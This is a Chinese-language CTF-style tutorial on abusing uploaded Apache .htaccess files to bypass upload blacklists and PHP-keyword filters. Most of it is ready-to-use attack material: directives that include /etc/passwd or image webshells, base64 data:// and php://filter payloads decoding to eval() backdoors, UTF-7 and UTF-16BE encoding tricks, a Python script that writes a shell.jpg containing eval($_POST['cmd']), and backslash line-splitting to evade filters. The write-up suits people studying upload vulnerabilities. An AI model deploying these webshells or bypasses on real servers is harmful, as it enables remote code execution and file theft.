前言
有不少题目都是用了黑名单过滤,落下的htaccess
有的题目还对上传文件的内容进行检查,检查是否含有php关键字
这时候就需要用到htaccess的骚操作进行绕过了
方法
文件头
如果有的题目会对文件的文件头进行检查,例如用exif_imagetype
检查是否为图片类型,对于.htaccess
来说,不能简单的加上GIF89a等文件头直接绕过,因为这会造成.htaccess
文件格式不正确,无法解析,这时候我们就可以用以下方法进行绕过
在htaccess文件头部添加:
#define width 1337
#define height 1337
或:
利用16进制编辑器添加:
x00x00x8ax39x8ax39
auto_prepend_file
或auto_append_file
相当于在当前目录下面所有php文件的开头或结尾加载引用了一个文件
类似于require xxx
访问htaccess文件所在目录的php文件时,Apache会将指定文件载入到php文件前或后,这时php文件执行时就会将我们载入的文件内容与原本的php代码一起执行
如果所在目录没有php文件,则可以使用AddType application/x-httpd-php .xxx
经过测试,这种方式加载的文件,有点类似html文件,文件内如果有html标签,js脚本或者php脚本,会直接被执行,而不符合这些规则的文本,内容会被直接展示
加载文件时会自动转义特殊字符,要特别注意
![11d0cf3599ad59189910fb55d9c7d6b9.png](https://i-blog.csdnimg.cn/blog_migrate/d1b391b45ee835b3ca400e85d1fb11f1.png)
可以任意文件读取
php_value auto_append_file "/etc/passwd"
![936b6737b5d258935cbac175a843f44f.png](https://i-blog.csdnimg.cn/blog_migrate/89c74c06b83bfa836d22fd63000737ee.png)
可以包含利用图片马
php_value auto_prepend_file 1.jpg
php_value auto_append_file 1.jpg
可以包含自己
php_value auto_append_file .htaccess
#<?php phpinfo(); ?>
当然,也可以使用php伪协议
#双引号可加可不加
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/1.txt"
![495f55bc32f2f10dbc76cc355de98ba0.png](https://i-blog.csdnimg.cn/blog_migrate/0bc5828a54b869c8bd4a26c83cccfca8.png)
远程包含似乎在php5以上版本并不能成功
#测试未成功
php_flag allow_url_include 1
php_value auto_append_file http://xxx/1.txt
php_flag allow_url_include 1
php_value auto_append_file "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw=="
![8b2df29e21ff731eb534f94b0859f7b3.png](https://i-blog.csdnimg.cn/blog_migrate/c1011e1a2d899b712c8633e7bd5800c7.png)
![1eae3b2bf179633728af404efbfa5fb0.png](https://i-blog.csdnimg.cn/blog_migrate/f529e209b507e82106c4b9902d7eda69.png)
绕过php关键字过滤
utf-7编码
AddType application/x-httpd-php .gif
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
![aa0ca3594b76c0fab7b8c6a2ab2a3319.png](https://i-blog.csdnimg.cn/blog_migrate/7de8bc1e302ad5209f9b405bad5e49d2.png)
base64
php_value auto_append_file "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw=="
AddType application/x-httpd-php .gif
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/shell.gif"
shell.gif为:
shell使用base64编码,注意此时如果使用GIF89a的话,记得补齐8位
GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4=
utf-16be
AddType application/x-httpd-php .jpg
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .jpg\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.jpg", "<?php eval($_POST['cmd']); ?>")
设定额外的php文件类型
相当于增加了可执行的php文件类型
利用
AddType application/x-httpd-php .jpg
即可让图片变成php程序
或者
<FilesMatch ".+\.gif$">
SetHandler application/x-httpd-php
FilesMatch>
<FilesMatch ".+\.txt$">
SetHandler php5-script
FilesMatch>
或者
AddHandler php5-script .txt
AddHandler application/x-httpd-php .txt
利用error_log
和utf-7
写shell
php_value error_log /var/www/html/shell.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
利用php_flag
爆出php源码
其实就是设置这个目录不执行php
php_flag engine 0
![c32a121c74770ad735502c728a95ce27.png](https://i-blog.csdnimg.cn/blog_migrate/6399349316c0f1cb362ea89fa351a832.png)
绕过
有的题目过滤了php关键字,这时候我们就要对htaccess文件做点手脚
利用反斜杠换行
htaccess文件有换行的时候也会正常执行
#define width 1337
#define height 1337
AddType application/x-httpd-p
\hp .jpg
ph
\p_value auto_append_file "p
\hp://filter/convert.base64-decode/resource=/var/www/html/shell.jpg"
注意反斜杠添加的位置
有可能会过滤多个关键字,这时候就得在多个地方添加反斜杠